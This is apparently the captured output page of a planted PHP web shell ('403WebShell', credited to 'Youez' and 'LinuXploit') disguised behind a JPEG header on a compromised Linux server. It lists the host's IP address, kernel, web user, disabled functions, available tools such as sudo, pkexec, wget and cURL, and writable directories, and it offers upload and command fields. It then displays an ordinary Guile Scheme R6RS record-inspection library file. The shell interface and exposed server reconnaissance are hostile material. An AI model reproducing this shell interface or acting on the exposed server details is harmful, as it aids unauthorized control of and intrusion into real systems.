????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.137.41.2
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/guile/2.0/rnrs/records/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/guile/2.0/rnrs/records/inspection.scm
;;; inspection.scm --- Inspection support for R6RS records

;;      Copyright (C) 2010 Free Software Foundation, Inc.
;;
;; This library is free software; you can redistribute it and/or
;; modify it under the terms of the GNU Lesser General Public
;; License as published by the Free Software Foundation; either
;; version 3 of the License, or (at your option) any later version.
;; 
;; This library is distributed in the hope that it will be useful,
;; but WITHOUT ANY WARRANTY; without even the implied warranty of
;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
;; Lesser General Public License for more details.
;; 
;; You should have received a copy of the GNU Lesser General Public
;; License along with this library; if not, write to the Free Software
;; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA


(library (rnrs records inspection (6))
  (export record? 
          record-rtd 
	  record-type-name 
	  record-type-parent 
	  record-type-uid 
	  record-type-generative? 
	  record-type-sealed? 
	  record-type-opaque? 
	  record-type-field-names 
	  record-field-mutable?)
  (import (rnrs arithmetic bitwise (6))
          (rnrs base (6))
	  (rnrs records procedural (6))
	  (only (guile) struct-ref struct-vtable vtable-index-layout @@))

  (define record-internal? (@@ (rnrs records procedural) record-internal?))

  (define rtd-index-name (@@ (rnrs records procedural) rtd-index-name))
  (define rtd-index-parent (@@ (rnrs records procedural) rtd-index-parent))
  (define rtd-index-uid (@@ (rnrs records procedural) rtd-index-uid))
  (define rtd-index-sealed? (@@ (rnrs records procedural) rtd-index-sealed?))
  (define rtd-index-opaque? (@@ (rnrs records procedural) rtd-index-opaque?))
  (define rtd-index-field-names 
    (@@ (rnrs records procedural) rtd-index-field-names))
  (define rtd-index-field-bit-field
    (@@ (rnrs records procedural) rtd-index-field-bit-field))

  (define (record? obj)
    (and (record-internal? obj)
	 (not (record-type-opaque? (struct-vtable obj)))))

  (define (record-rtd record)
    (or (and (record-internal? record)
	     (let ((rtd (struct-vtable record)))
	       (and (not (struct-ref rtd rtd-index-opaque?)) rtd)))
	(assertion-violation 'record-rtd "not a record" record)))

  (define (guarantee-rtd who rtd)
    (if (record-type-descriptor? rtd)
        rtd
        (assertion-violation who "not a record type descriptor" rtd)))

  (define (record-type-name rtd) 
    (struct-ref (guarantee-rtd 'record-type-name rtd) rtd-index-name))
  (define (record-type-parent rtd) 
    (struct-ref (guarantee-rtd 'record-type-parent rtd) rtd-index-parent))
  (define (record-type-uid rtd)
    (struct-ref (guarantee-rtd 'record-type-uid rtd) rtd-index-uid))
  (define (record-type-generative? rtd) 
    (not (record-type-uid (guarantee-rtd 'record-type-generative? rtd))))
  (define (record-type-sealed? rtd) 
    (struct-ref (guarantee-rtd 'record-type-sealed? rtd) rtd-index-sealed?))
  (define (record-type-opaque? rtd) 
    (struct-ref (guarantee-rtd 'record-type-opaque? rtd) rtd-index-opaque?))
  (define (record-type-field-names rtd)
    (struct-ref (guarantee-rtd 'record-type-field-names rtd) rtd-index-field-names))
  (define (record-field-mutable? rtd k)
    (bitwise-bit-set? (struct-ref (guarantee-rtd 'record-field-mutable? rtd)
                                  rtd-index-field-bit-field)
                      k))
)

Youez - 2016 - github.com/yon3zu
LinuXploit